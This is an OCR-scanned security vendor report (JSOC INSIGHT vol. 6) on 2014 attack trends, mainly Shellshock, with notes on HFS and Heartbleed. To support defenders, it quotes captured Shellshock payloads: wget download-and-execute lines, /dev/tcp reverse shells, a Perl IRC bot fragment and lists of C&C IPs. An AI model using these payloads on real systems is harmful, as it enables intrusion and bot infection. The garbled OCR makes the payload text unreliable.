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1 Introduction

Japan Security Operation Center (JSOC) is a security monitoring center operated by LAC
Co., Ltd. that provides security monitoring services such as "JSOC Managed Security
Services (MSS)" and "24+ Series." The JSOC MSS maximizes the performance of security
devices through unigue signatures and tuning, and our security analysts with expert
knowledge analyze logs from security devices in real time, 24 hours a day 365 days a yeatr.
In this real-time analysis, the security analysts analyze communication packets in detail,
down to their content level, as well as diagnose whether monitored objects are affected and
whether there are any vulnerabilities or other potential risks in every occasion to minimize
misreporting from security devices. We help our customers to improve their security level by
reporting only critical incidents needing an emergency response in real time and taking
action against attacks in the shortest time possible.

This is an analysis report on the trend of security incidents, such as unauthorized access
and malware infection, in Japan, based on daily analysis results by our JSOC security
analysts. Since this report analyzes the trend of attacks, based on the data of incidents
which JSOC customers actually encountered, the report will help in understanding world
trends as well as actual threats that Japanese users are facing.

We really hope this report will provide our customers with useful information that they can
make full use of when implementing countermeasures to improve security.

Japan Security Operation Center
Analysis Team

[Data collection period]

July 1, 2014 to September 30, 2014

[Devices used]

This report is based on data from security devices supported by LAC-supplied JSOC

Managed Security Services.

* Use this report at your own risk. LAC Co., Ltd. takes no responsibility for any loss resulting from the use of this
document.

* When using data from this report, be sure to cite the source.

(For example, Source: JSOC INSIGHT vol. 6 from LAC Co., Ltd.)

* LAC is a trademark of LAC Co., Ltd. JSOC is a registered trademark of LAC Co., Ltd. Other product names and
company names are trademarks or registered trademarks of their respective companies.
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Executive Summary

This report analyzes trends in incidents that occurred from July to September 2014 and

introduces especially notable threats. This volume focuses on the following key topics:

» Attacks that exploit a code execution vulnerability in GNU Bash

(Shellshock)

Attacks that exploit a code execution vulnerability in GNU Bash (Shellshock) are
attacks that cause arbitrary code to be executed externally. Since GNU Bash is used as
a standard by many Linux distributions and accessed by a variety of services, including
Web services, this type of vulnerability has a very wide range of impact. Since the
vulnerability can be exploited very easily, much malicious traffic occurred starting
immediately after disclosing the vulnerability. JSOC detected traffic which targeted
various services available on the Internet and exploited target hosts or infected them
with a bot, and severe incidents actually occurred in our customers' hosts. In addition,
we also detected traffic which targeted embedded devices, making it necessary to take
immediate countermeasures for all hosts connected to a network. In order to respond
Shellshock, it is necessary to apply a vulnerability-free version available from the
vendor.

Attacks that exploit a code execution vulnerability in HTTP File Server

It has been disclosed that HTTP File Server (HFS), which can run a file sharing
server via a single executable file, had a vulnerability that causes arbitrary code to be
executed externally. JSOC detected traffic that investigated whether there were hosts
that were vulnerable to attack, and severe incidents actually occurred in our customers'
hosts. In order to respond this type of attack, it is necessary to apply the
vulnerability-free version.

> Trends in Heartbleed attacks

Although a vulnerability in the OpenSSL Heartbeat function was disclosed last April,
JSOC has still continually detected attacks that exploit the vulnerability (Heartbleed
attacks). The number of severe incidents decreased from last July to September, but
severe incidents have still occurred. There have been cases where the vulnerability was
found in a host for which the customer was sure that countermeasures had been
implemented, which shows that the vulnerability cannot be fixed by merely applying a
patch. It is important to confirm that each host is protected so as not to be easily affected
by such an attack.

Copyright© 2015 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol. 6 3



3 Trends of Severe Incident in JSOC

3.1 Trends in severe incidents

Our security analysts in JSOC analyze logs detected by IDS/IPS and firewalls, and assign
one of the four incident severity levels according to the nature of incident and the degree of
impact the incident has on monitored targets. Of the four severity levels, Emergency and
Critical indicate severe incidents for which the likelihood of a successful attack occurring or
causing serious damage is high.

Table 1 Incident severity levels

Type Severity Description ‘
Emergency Incident for which a successful attack is confirmed
Severe incident Incident for which the likelihood of a successful attack is high, incident for
Critical which a failed attempt at an attack is not confirmed, or incident indicating
malware infection.
Warning Incident for which a failed attempt at an attack is confirmed
Reference . . - .
incident Informational Incm!enF _Whlcr_l does not trigger an a_ttack causing any real damage and has
no significant impact, such as scanning

Figure 1 shows changes in the number of severe incidents from last July to September.

The number of severe incidents related to attacks from the Internet increased in the first
week of July and in the fourth week of September ([1] and [2] in Figure 1). These increases
are due to attacks (CCS injection) exploiting the Change Cipher Spec (CCS) vulnerability
(CVE-2014-0224)! in OpenSSL disclosed in July ([1] in Figure 1) and attacks (Shellshock
attacks)? exploiting the code execution vulnerability in GNU Bash disclosed in September
([2] in Figure 1).

The number of severe internal incidents was temporarily on the rise between the fourth
week of August and the first week of September ([3] in Figure 1). This is due to an increase
in the number of times malware Citadel, which attempts to collect online banking account
information, was detected. JSOC has encountered such types of temporary changes in the
trends of detection almost daily.

240 -

L1 _ .1

WAttack from the Internet

1] S| |cpirin| IS-internal.communication-

1 12]

1st week 2nd week 3rd week 4th week 1st week 2nd week 3rd week 4th week 5th week 1st week 2nd week 3rd week 4th week 5th week

of July of August of

September

Figure 1 Changes in the number of severe incidents (July to September 2014)

*The data for the fifth week of September represents only one day of statistics.

! Change Cipher Spec message processing vulnerability in OpenSSL
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-000048.html

% Code execution vulnerability in GNU Bash
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-004410.html
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3.2 Analysis of severe incidents

Figure 2 shows changes in the number of severe incidents related to attacks from the
Internet.

The number of severe incidents related to attacks from the Internet was rapidly increasing
from April to June, and then it remained at a high level during the period between July and
September. (Figure 2-a)

Although the vulnerability of the OpenSSL Heartbeat function was disclosed in April 2014,
JSOC has still steadily detected attacks (Heartbleed attacks)® that exploit the vulnerability.
Severe incidents, where a vulnerable response from a target host has been confirmed, have
still occurred; this is regardless of the fact that the number of such severe incidents was on
the decline between July and September. After disclosing the Change Cipher Spec (CCS)
vulnerability (CVE-2014-0224) of OpenSSL in the first week of last July, there were severe
incidents which showed a high probability that target hosts would be affected by the
vulnerability ([1] in Figure 2-b).

The code execution vulnerability in GNU Bash was disclosed in the fourth week of
September. JSOC has detected attacks exploiting the vulnerability (Shellshock attacks)
starting immediately after the disclosure, and there were multiple severe incidents where a
vulnerable response from a target host was confirmed ([2] in Figure 2-b).

200

B Attack from the Internet
—Suspicious file upload

# of severe incidents
|_I.
o
o

0 = T T
January  February March April May June July August  September

a. Monthly changes in the number of severe incidents between January and September

, 60 OOthers

g B Shellshock

240 - OHeartbleed attack

£ [1] B CCS injection

]

] =T

§20 T —— — - .IF21
|

s

: M loollponodg Q]

1st week of JuB/nd week 3rd week 4th week week of Augzisti week 3rd week 4th week 5th waekeek of Septemmeweek 3rd week 4th week 5th week

b. Weekly changes in the number of detected incidents between July and September
Figure 2 Changes in the number of severe incidents related to attacks from the Internet

*The data for the fifth week of September represents only one day of statistics.

3 JSOC INSIGHT vol.5
http://www.lac.co.jp/security/report/2014/11/12_jsoc_01.html
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Figure 3 shows a breakdown of severe incidents related to attacks from the Internet.

The number of attempts to upload suspicious files to Web servers increased, starting in
April, and many such attempts were still detected between July and September (Figure
2-a). No changes were seen in attack methods. On a daily basis, JSOC has detected
attempts to exploit a vulnerability of plug-ins installed in CMS (Contents Management
System), such as "WordPress", in order to upload suspicious files. Given that even if the
CMS itself has no vulnerability, intrusion can occur via a vulnerability in a plug-in, it is
necessary to implement a system for supporting plug-ins and to figure out how to handle
vulnerabilities when they are disclosed, as well as to upgrade the CMS itself.

SQL injection 5%

Shellshock attack \
Misconfi ) . . otal
urationg - } Misconfiguration b{ 251

Middleware
vulnerability
19%

April - June

a. April to June b. July to September

Figure 3 Breakdown of severe incidents related to attacks from the Internet

Figure 4 shows a breakdown of severe incidents internal to networks.

The number of severe incidents internal to networks between July and September is 364
and indicates a significant decrease as compared to the numbers (438 incidents) between
April and June.

So far, more IRCBot attacks had occurred to a specific customer, but from September and
on, we started detecting attacks to multiple customers. These incidents are considered to
infect a target host with IRCBot via Shellshock and cause suspicious external traffic.

The next chapter provides an overview of Shellshock and describes past Shellshock
detections conducted by JSOC in detail.

Mudrop

IRCBot o
Attacks against 25%
external host

Conficker 2%
6%

Attacks against

external host incidents
Neverquest [ 6% /
16% ’
IRCBot
|
a. April to June b. July to September

Figure 4 Breakdown of severe incidents internal to networks
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4  Topics of This Volume

4.1 Attacks that exploit a code execution vulnerability in GNU Bash

(Shellshock)

4.1.1 Shellshock overview

Attacks (Shellshock attacks) exploiting a code execution vulnerability in GNU Bash, which
was disclosed in September 2014, cause arbitrary code to be executed when setting an

externally input character string in a GNU Bash environment variable. GNU Bash is a

standard shell in many Linux distributions, and a program may be affected by the
vulnerability when calling GNU Bash to access its environment variable. Therefore, this

vulnerability has a very wide range of impact.

As shown in Table 2, multiple code execution vulnerabilities in GNU Bash have been

disclosed:

CVE-2014-6271

Table 2 Code execution vulnerability in GNU Bash

Vulnerability

impact

Arbitrary code
execution

CVE-2014-6277

Arbitrary code
execution

Disclosed because CVE-2014-6271 and
CVE-2014-7169 were not fully fixed.

CVE-2014-6278

Arbitrary code
execution

Disclosed because CVE-2014-6271,
CVE-2014-7169, and CVE-2014-6277 were not

CVE-2014-7169

Arbitrary code
execution

CVE-2014-7186

Service
unavailable

CVE-2014-7187

Service
unavailable

The GNU Bash versions which may be affected by this vulnerability are as follows:
- Bash 4.3 Patch 25 or earlier
- Bash 4.2 Patch 48 or earlier
- Bash 4.1 Patch 12 or earlier
- Bash 4.0 Patch 39 or earlier
- Bash 3.2 Patch 52 or earlier
- Bash 3.1 Patch 18 or earlier
- Bash 3.0 Patch 17 or earlier

Copyright© 2015 LAC Co., Ltd. All Rights Reserved.
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4.1.2 Validating reproduction of Shellshock

JSOC has confirmed that the vulnerability could be reproduced in typical services
available on the Internet. Some environments required additional conditions to be met to
succeed in attacking, but in any case, the vulnerability can be exploited in a very easy way.

= CGI program running on a Web server

If a CGI program running on a Web server uses a shell script or has a mechanism to call a
shell to execute a command, it will be possible to externally execute an arbitrary command
on the Web server by sending a malicious request.

Figure 5 shows an example of sending a malicious request to a CGI program using a shell
script. To the external malicious request, the vulnerable CGI program returns a response
containing a command execution result from the host.

Stream Content

I /shellshogk/shellshock, cgi HTTP/1,0
rEEeF—Agent: () { :;r: echo Content-type:text/plain;echo;echo JS0Ctest |

HTTP/1.1 200 OK

pate: wed, 09 apr 2014 22:43:09 aMT
Server: Apache/2.2.15 (Cent0s)
connection: close

content-Type: text/plain; charset=UTF-8

IJ SoCtest I
Content-type: text/html

a. Attack that attempts to display text

Stream Content

GET Jshellshocks/shellshock cgi HITP/1.0
luser-agent: () { :;}; echo Content-type:text/plain; echo; /bin/uname -a |

HTTP/1.1 200 oK

Date: Wed, 09 Apr 2014 22:43:52 GMT
Server: Apache/2.2.15 (Centos)
Connection: close

Content-Type: text/plain; charset=UTF-8§

L inux Tocalhost.localdomain 2.6.32-220.e16.1686 #1 SMP Tue Dec 6 16:15:40 GMT 2011 1686
686 1386 GNU/Linux

b. Attack that accesses host information (Absolute command path required)

Figure 5 Attack against vulnerable CGI programs

JSOC INSIGHT vol. 6
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= Mail server

By sending a malicious request, an arbitrary command can be executed on a specific mail
server or on a server that is running an application program that accesses an environment
variable. However, it has been confirmed that a target host does not always return a text
response to the attack request (Figure 6).

Stream Content

220 smtp.shellshock. example. com ESMTP Postfix (Debian/GNU)
mail from:<=
250 2.1.0 ok
rcpt to:<nobody=
250 2.1.5 ok
data
354 End data with <Rl Fo <CR==] F@
j i ripi -Cc 1 -s 512 192.168.1.202

. No command execution result obtained
250 2.0.0 ok: gqueued as BEOFDBFBAD .

quit in response

221 2.0.0 Bye

Figure 6 Attack against a mail server

= SSH server

If an SSH server uses a specific application program to restrict user access to commands
for execution, it will be possible to externally execute an arbitrary command beyond the user
permission on the SSH server by sending a malicious request (Figure 7). However, this type
of attack will not succeed unless the attacker has authentication information for the target.
Therefore, it is considered that such attack against an SSH server will only succeed in
limited environments.

hellshock@192.168.1.202% ssh 192.168.1.281 "() { :;}; /sbin/ifconfig' |
shellshock8192.168.1.201"'s password:
£tho Link encap:Ethernet Hwaddr 86:8C:29:2F:EC:BE

inet addr:192.168.1.281 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe2f:ecbe/64 Scope:lLink

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1553 errors:@ dropped:@ overruns:@ frame:0

TX packets:428 errors:@ dropped:@ overruns:@ carrier:@
collisions:@ txqueuelen:10060

RX bytes:158404 (154.6 KiB) TX bytes:69173 (67.5 KiB)

Lo Link encap:Local Loopback

inet addr:127.0.8.1 Mask:255.0.08.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:24 errors:@ dropped:@ overruns:8 frame:@
TX packets:24 errors:@ dropped:@ overruns:@ carrier:0 2
collisions:@ txqueuelen:@

RX bytes:2864 (2.0 KiB) TX bytes:2064 (2.8 KiB)

Figure 7 Attack against an SSH server
(for command execution to be basically restricted)

Copyright© 2015 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol. 6 9



= Telnet server

By sending a malicious request to a Telnet server, it will be possible to externally execute
an arbitrary command on the Telnet server with login user privileges (Figure 8). However,
this type of attack will not succeed unless the attacker has authentication information for the
target. Therefore, it is considered that such attack against a Telnet server will only succeed
in limited environments.

JE telret 1927081721 -1 700 1 531 echo Content*typl'
ttext/plaingecho; echo JSOCtest”

Trying TH2TB8. 7,727,

Cornected to 192.163.1.121,

Ezcape character is "]

Password:

Login incorrect

login: jsocuser
Fassword:
Cortent -type:text/plain

S0Ctest
Tsocuzer@localhost “13

Figure 8 Attack against a Telnet server

= DHCP client

DHCP is a protocol that dynamically assigns necessary settings information such as an IP
address to a host for Internet connection. A DHCP client accesses a DHCP server to
configure network settings and obtains the settings information necessary when accessing
an environment variable. If an environment variable contains malicious code (Figure 9), it
will be possible to execute an arbitrary command on the DHCP client (Figure 10). That is, if
a DHCP server is taken over by an attacker and malicious code is embedded in an
environment variable, all hosts under the DHCP server may be brought under control of the

attacker.
DHCP Optians
Def. rouker (Opt 3) 10.10.10.1
Mask [Opt 1] 256, 256.255.0
DMS Servers (Opt B)
WIMS zerver [Opt 44)
MTP zerver ([Opt 42]
SIP zerver [Opt 120)
Domain Mame [15) |
| Additional Dption 1114 () {2} echo JS0Ctest] |
Figure 9 DHCP server with malicious code embedded (part of the code)
[Toot@ localhost -1F dhclient
'150Ctest’
[root@localhost -J# ||
Figure 10 Attack against a DHCP client
Copyright© 2015 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol. 6 10



4.1.3 Trends of Shellshock attacks detected by JSOC

Figure 11 shows changes in the numbers of Shellshock attacks and Shellshock-related
severe incidents detected by JSOC.

Since the disclosure of the code execution vulnerability in GNU Bash, JSOC tracked
much traffic that either investigated the existence of the vulnerability or exploited the
vulnerability for attacking. The number of such traffic consistently remains at a high level,
which gives no indication of the end of such malicious traffic. Since the disclosure of this
vulnerability, there were multiple severe incidents for which it was confirmed that the target
host returned a vulnerable response to Shellshock.

Since the Shellshock vulnerability can be exploited in a very easy way, and detailed
technical information on the vulnerability was released at many places immediately after the
disclosure of the vulnerability, Shellshock code was embedded relatively early in bots, etc.
JSOC considers that the trends in the detected malicious traffic reflect these factors.

# of attacks

6,000 —¢=—# of attacks
=== # Of severe incidents
5,000
. A
4,000 4 8
9 W I\ A
Z A
3,000 4 =&
’ 3 '4
© 2
>
2,000 1 =
o) 4
[
2 X L’\
1,000 - E \ 174 \
0 'U T T T

September 26 October 6 October 16  October 26 November 5 November 15

# of severe incidents

Figure 11 Numbers of Shellshock attacks and Shellshock-related severe incidents

Table 3 shows a list of source hosts where the most Shellshock attacks originate.

JSOC has detected similar malicious traffic originating from many source hosts. These
hosts are located in many countries and are not limited to a specific country or region. This
means that malicious traffic originates from hosts infected with a bot.

Another special quality of this attack is that malicious traffic originating from specific hosts
as shown in Table 3 targets an unspecified number of hosts. Much of the traffic from such
source hosts investigate the existence of the vulnerability in the target hosts. That is, it will
imply that, regardless of the utilization status of a target host, the attacker may randomly
investigates the existence of the vulnerability for any IP address available in the world and
prepare for further attacking.

Therefore, screening out the source hosts listed in the table with a firewall or the like is
considered to be an effective countermeasure, though source hosts might change
irregularly.

Copyright®© 2015 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol. 6 11




Table 3 Source hosts where the most Shellshock attacks originate

Source host Country

8.37.217.196 U.S.A.
8.37.217.197 U.S.A.
8.37.217.198 U.S.A.
8.37.217.199 U.S.A.
54.64.179.8

(ec2-54-64-179-8.ap-northeast-1.compute.amazonaws.com) Japan
66.35.84.54 U.S.A.
77.79.40.195 Lithuania
92.243.89.208 Russia
104.192.0.18 U.S.A.
180.186.121.254 China

4.1.4 Speculations in regards to attacker motives

JSOC has detected a variety of Shellshock attacks. These attacks differ in the
vulnerability they exploit and the code they send, but the attacker’s intentions can be
speculated from the analysis results. This section introduces characteristic examples of
Shellshock attacks detected by JSOC.

- Traffic that attempts to investigate the existence of the vulnerability

Figure 12 and Figure 13 show Shellshock-related traffic detected by JSOC starting
immediately after the disclosure of the vulnerability.

JSOC detected traffic that attempted to display simple text or execute a command which
would have a relatively small impact on the target host, as shown in Figure 12 and Figure 13.
This traffic is deemed to be for the purpose of investigating the existence of the vulnerability
on the target host.

Stream Content
GET / HTTP/1.1

oo I —
Accept-Encoding: gzip, ate

accept: () { :;}:echo;echo "- I =0 =xit

User-Agent: 0’1 .,},echo echo "HE" _,echo,e:ﬂt

connection: keep-alive

referer: () { :;I;echo;echo "IN T T -0
cookie: () { :;F;echo;echo "HEEE" ' I . =i

Figure 12 Attack that exploits CVE-2014-6271

Copyright®© 2015 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol. 6 12



Stream Content

GET / HTTP/1.1

Host:

accept-encoding: gzip, deflate

accept: () { (a)=>\' bash -c 'echo;echo "IN = cho; cxit
User-Agent: () { (a)==\" bash -c "echo;echo "I = cho; exit
connection: keep-alive

referer: () { (a)=="" bash -c "echo;echo "IN : =cho; exit
Cookie: () { (a)=='" bash -c "echo;echo "IN = cho; exit

Figure 13 Attack that exploits CVE-2014-7169

- Traffic that attempts to infect targets with a bot

Figure 14 through Figure 17 roughly illustrate attacks that attempt to infect targets with a
bot via Shellshock and show examples of such traffic.

Much of the traffic shown in Figure 14 through Figure 17 attempt to download and execute
a script (Figure 18) installed on an external host in order to infect targets with IRCBot. A host
vulnerable to Shellshock will download a script and be infected with IRCBot by executing the
script. The host then attempts to connect to a C&C server via IRC or to generate malicious
traffic against another host.

After the disclosure of the vulnerability, multiple severe incidents occurred, where JSOC
detected a suspicious IRC connection from an internal host to an external host. JSOC
detected no traffic indicating that a Shellshock attack was distinctly successful in infecting
any of these targeted hosts with IRCBot. However, since the hosts connected via IRC were
involved in the Shellshock-related traffic detected by JSOC so far, the hosts might have
been infected with IRCBot through Shellshock.

The IRCBot-related traffic detected by JSOC were destined for the TCP port 6667, usually
used for IRC, or attempted to use TCP port 25 or 80 to connect to an external host via IRC
(Figure 19). The traffic is considered to have been for the purpose of being able to
communicate with a C&C server without being controlled by a firewall installed in the
organization through the use of a port that was usually used for business.

IRC Connection

(6667/TCP
Shellshock that 9080/TCP

— =
atempts to 6697/TCP i_g

infact IRCRot == 25/TCP
80/TCP)
. CalCserver
Shellshock that

il .

: —_
= ‘
attempts to Hiigey == Correctinformationfrom -
MAYHEM £ — |I=

hosts vulnerable to i".,
| b Shellshock, Heartbleed, —
gﬁ;ﬁi;g&era 20 php-cgi, DNS amplifier, or ij:g

i

. —=a
thelike |

Publicservers

Figure 14 Traffic that attempts to infect targets with a bot

*The red text indicates the traffic that occurs in the event of a successful attack.
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Stream Content

GET /swa/click.cgi HTTP/1.1
HOST :
Accept-Encoding: Tdentity

referer: bash -c 'true <<EOF <<EQOF <<EOF <<EQF <<EQF <<EOF <<EQF <<EOF <<EOQF <<EQF <<EOF

<<EOF <<EQOF <<EOF' echo

Figure 15 Attack that exploits CVE-2014-7186

Stream Content

GET /swa/click.cgi HTTP/1.1

ros* : SN

Accept-Encoding: Tdentity

referer: () { }; echo corpo bash -c ‘wget http://
user-agent: (for x in {1..200} ; do ecﬁo "for x$x in :

"wget http:/
content-type:

app lication/X-www-Torm-ur lencode

Figure 16 Attack that exploits CVE-2014-7187

Stream Content

GET HTTP,/1.1 HTTP/1.1

ACCept: */*

ACcept-Language: en-us

accept-Encoding: gzip, deflate

user-agent: () { ;% /usr/bin/perl -e 'print "Content-
Y NXSUCCESS! ";s%fstem("cd /tm[.ln/‘;mkd'ir *—bot;cd

b

: per bot; Twp-downToa tp://]

p: -bot;curl -0 http://
rf ../ /acCess_ vrm -rf .. /localhost*;rm -rf ..
HOST:

Connection: Close

wget

& do echo done ; done) bash echo

: text/plainirinir
T;wget h
bot; fetc

-bot;per] [M-botrm -

Figure 17 Attack that attempts to infect a target with IRCBot

#/usribindper|

t - Adicionade comando lestatisticas

i - Alterado o comando @pacota para @oldpack;

i - Mdicionade dois rovos pacotadores: @ude e Oudefaixa

i - Adicionado um novo portscan -» @ful lportscan

it - Micionade comando @conback  com suporte para Windows/Unix :0;
i - Adicionado comando: lsair para finalizar o bot:

i

i

i

- Adicionado comando lentra e lsai
- Micionade comando @downlcad
i - Adicionado comando !pacotes para ativar/desativar pacotes :);

B CONFIGURACAD #RHEHEHRHERY
my $erocesso = "Jusr/local/apache/bindhtted -D53L7;

$servidor=’ " unless $servidor;
my |[$portaz 80" ;
my ETE

my Badns=("max”, "hackeru”, "sanders”, “laris”, "x");
my Bauth= ("% *@nax. cc”);

# Anti Flood ( 6/3 Recomendado )
my $1iras_max=6;
my $=leep=3;

my $nick = getnick();
my $ircname = getnick(};
my $realrame = zgetnick();

my $acessoshel | = 1;

BHEEEE Stealth Shel |Bot HHHHHHEY
my Porefixo = 47

my $estatisticas = 0;

Figure 18 Part of a downloaded script

Copyright© 2015 LAC Co., Ltd. All Rights Reserved.

- Micionade comando: lnovonick para trocar o nick do bot por um novo aleatorio;
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Stream Content

NICK LUIE
USER Z550Y0C localhost localhost :WGRYUFNU

Figure 19 Detected IRC connection (Destination port: TCP 25)

Table 4 Destinations of IRCBot connections that may be infected via Shellshock

Destination host Destination
port

66.225.225.66
83.140.172.210
83.140.172.211
83.140.172.212
91.217.189.21 6667/TCP
128.39.65.226
158.38.8.251
170.178.191.18
208.64.121.85

124.117.249.250 9080/TCP
49.212.51.25

6697/TCP
81.91.83.16
205.237.100.170
63.97.77.175 25/TCP
108.166.89.251
82.196.7.24 80/TCP

Figure 20 shows Shellshock-related traffic that infects a target host with a bot known as
Mayhem?®.

Mayhem is a bot that infects Linux and FreeBSD. When a host is infected with Mayhem,
the host triggers a Heartbleed attack or an attack that exploits the vulnerability of PHP
(CVE-2012-1823)° running in a CGI environment or triggers traffic intended to collect
information from a host vulnerable to DNS amplification attacks.

It has been reported that malicious traffic from a host infected with Mayhem contains the
text "expr 1330 + 7." JSOC detected a Shellshock attack from a host possibly infected with
Mayhem (Figure 21).

4 Diving Deep into Mayhem
http://blog.f-secure.jp/archives/50732011.html

> JSOC INSIGHT vol.3
http://www.lac.co.jp/security/report/2014/03/11_jsoc_01.html
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Stream Content

GET /?x={) { :; I; echo Content-type:text/plain;echo;echo;echo M expr 1330 + 7 H; wget -
o /tmp/404.cgi http:/ /404, cgi;chmod 755 /tmp/404.cgi; /tmp/404.cgi;rm -
rf /tmp/404.cgi* HTTP/1.0

Host: ifrec-sign-winterschool.org

cookie: () { :; }; echo Content-type:text/plain;echo; echo;echo M expr 1330 + 7 H; wget -
0 /tmp/404.cgi http://ﬂ/rmd-.cg'i;chmod 755 /tmp/404.cgi; /tmp/404.cgi;rm —
rf /tmp/404.cgi*

User-agent: (3 { :; I; echo Content-type:text/plain;echo;echo;echo M expr 1330 + 77H;
wget -0 /tmp/404, cgi http:/ﬂxﬂfm.cgi;chmod 755 /tmp/404.cqi;/

tmp,/404. cgisrm -rf /tmﬁ/404.cg'i"‘

referer: (O { :; }:; echo content—tiﬁe:text/p'la'in;echo;echo;echo M expr 1330 + 7 H; wget -

o /tmp/404.cgi http:// /404, cgi;chmod 755 /tmp/404.cgi; /tmp/404.cgi;rm -
rf /tmp/404.cgi*

Figure 20 Shellshock attacks that attempt to infect a target with Mayhem
Stream Content

GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo Mlexpr 1330 + 7|H; /bin/uname -a;echo @ HTTP/1.0
Host:

Cookie: 1y r: echo Content-type:text/plain; echo;echo; echo M Expr 1220 + 71H: /bin/uname -a;echo @
user-agent: () { :; ¥; echo Content-type:text/plain;echo;echo;echo M Expr 1330 + 7|H; /bin/uname -a;echo @

referer: () { :; F; echo Content-type:text/plain; echo;echo;echo M EXpr 1230 + 7 JA; /bin/uname -a;echo @

Figure 21 Shellshock-related traffic from a host infected with Mayhem

- Traffic that directly exploits a target host

Figure 22 through Figure 24 show traffic in which Shellshock itself exploits a target host.
JSOC detected outbound email requests and traffic that attempt to connect through a
backdoor by exploiting a target host.

Shellshock that
atternpts to op
abackdoor

— £/
Shellshock that E Sending email > E_

=
attermnpts to send .‘

=

amail S/ E
Hosts vulnerable to 3
Shellshock E

=

£

=
'

Mail Servers

Figure 22 Traffic that directly exploits a target host

*The red text indicates the traffic that occurs in the event of a successful attack.
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Stream Content
GET /c$1 sys/defaultwebpage. cgi HTTP/1.1

TE: late,gzip;g=0.3
connection: TE, close
HOosST:

User-agent: () { :; }; echo "Test’ |—S ‘Target "

Figure 23 Attack that attempts to send email from a targeted host

Stream Content

GET /index.php HTTP/1.0
Connection: close
Host:

User-Agent: ” ! ignored; ¥; /bin/bash -i =& /dev/tcp/] SEEE 0=&1
Cookie: () { ignored;};/bin/bash -i =& ['dev/tcp/] /8888 0=&1

Figure 24 Attack that attempts to connect to a target host through a backdoor

- Traffic that attempts to circumvent detection from security devices (firewalls or

IDS/IPS)

Figure 25 shows Shellshock-related traffic that attempts to circumvent detection from
security devices (firewalls or IDS/IPS).

JSOC detected traffic that added text which was not directly necessary to attack a target
host or encrypted an external file with HTTPS when it was downloaded. The goal of this
traffic is considered to be an attempt to circumvent detection rules used in security devices,
such as IDS or URL filtering.

Stream Content

GET /cgi- 5y5fdefau1twebgage cg
User-Agent ]
no-check- cert1f1cate cur1 -0

rf /tmp/user"”
ot - I

1 HTrP,fl 0
. Jtmp;wget|h

user -—-

Stream Content
GET / i-bi iginf.cgi HITP,/1.1

Host:
genraty
i; /bin/bash -c "wget http:// .tmp/Frogc'Iog.ﬁhp?ﬁSB'
r: /bin/bash -c "wget http:/ .tmp/frogclog. pnp?683°

Accept-Encoding
ation/x-www-form-urlencoded

referer: ()
cookie: () {|
Content-type:

b. Traffic that adds text unnecessary for attacking
Figure 25 Shellshock-related traffic that attempts to circumvent detection from

security devices
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- Traffic targeting Webmin

So far, this document has covered traffic that attacks Web servers where 80/TCP is open.
In addition to these attacks, JSOC also detected attacks against 10000/TCP as shown in
Figure 26.

10000/TCP is a port used as default by Webmin, which is a Web-based Linux
management tool. It has been reported that Webmin version 1.700 or earlier has a
vulnerability to Shellshock,® and the attack shown in Figure 26 is considered to exploit the
Webmin vulnerability, based on the destination port and detected traffic.” It is recommended
to use Webmin with SSL encryption, and many hosts are assumed to follow the
recommendation. However, if a security device, such as IDS, which performs text
matching-based detection is used and the device is not configured to detect decrypted traffic,
there is a concern that an encrypted attack against Webmin may not be detected.

Stream Content

GET /webmin/index.cgi HTTP,/1.1

Connection: close

HOST !

User-Agent: i+ /bin/bash -c "unset HISTFILE;unset SAVEHIST HISTSAVE
PROMPT_COMMAND TMOUT; unset HISTFILE;history -n;/bin/bash -i =& /dev/

top/ I, 31337 0>&1"

Figure 26 Shellshock targeting Webmin (Destination port: 10000/TCP)

- Traffic targeting an embedded device

Figure 27 and Figure 28 roughly illustrate a Shellshock attack that targets an embedded
device and show examples of such traffic.

Since Shellshock affects a host using vulnerable GNU Bash, it can also affect embedded
devices that use GNU Bash. Certain NAS products have this vulnerability,® and the traffic
shown in Figure 28 is specifically designed to attack such a product.’ When this attack
succeeds, the targeted host will be infected with a bot, and it will trigger similar malicious
traffic against another host to attack a NAS product, or it can also trigger traffic that fixes this
vulnerability so that the targeted host cannot be exploited by another attacker for a different
purpose.

& Changes since Webmin version 1.700
http://www.webmin.com/changes-1.710.html

7 Monitoring of Access Targeting Bash Vulnerabilities (2nd Report)
http://www.npa.go.jp/cyberpolice/detect/pdf/20141007.pdf

8 JVN#55667175 - OS Command Injection Vulnerability in QNAP QTS
https://jvn.jp/ip/IVN55667175/

 Monitoring of Access Targeting Bash Vulnerabilities (3rd Report)
http://www.npa.go.jp/cyberpolice/detect/pdf/20141209-2.pdf
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infection C&Cserver

Shellshock that

exploits the
> vulnerability in Shellshock
IoT vulnerability =
> ﬁxecl
-
Backdoor

Shellshucl( that exploitsthe

vulnerability inIoT

Hosts vulnerableto i
Shellshock

Publicservers

Figure 27 Traffic that targets an embedded device

*The red text indicates the traffic that occurs in the event of a successful attack.

Stream Content

GET /cgi-bin/authLogin.cgi HTTP/1.1
Host: 127.0.0.1

User-aAgent: (O { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/... /php
&& fusr/bin/wget Ze http:/’ 50.sh -P /tmp && /bin/sh /tmp/50.sh 0<&1 2>&1

Figure 28 Shellshock targeting an embedded device (Destination port: 8080/TCP)

4.1.5 Countermeasures against Shellshock

Since any host that uses a vulnerable GNU Bash version can become a possible target of
Shellshock, it is necessary to check all devices connected to the network to make sure that
they will not affected by such an attack.

To solve the arbitrary code execution vulnerability in GNU Bash, update your GNU Bash
to a version that cannot be affected by such an attack. Check that no host is running a
vulnerable GNU Bash version and that there is no application program accessing a
vulnerable version of GNU Bash.
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4.2 Attacks that exploit a vulnerability where an arbitrary code is executed in
HTTP File Server

4.2.1 HTTP File Server vulnerability

HTTP File Server (HFS), which is server software that provides support for sending and
receiving files through the HTTP protocol, has a vulnerability in handling null byte characters
(%00) (CVE-2014-6287). Since the library, parserLib.pas, used in HFS has a vulnerability
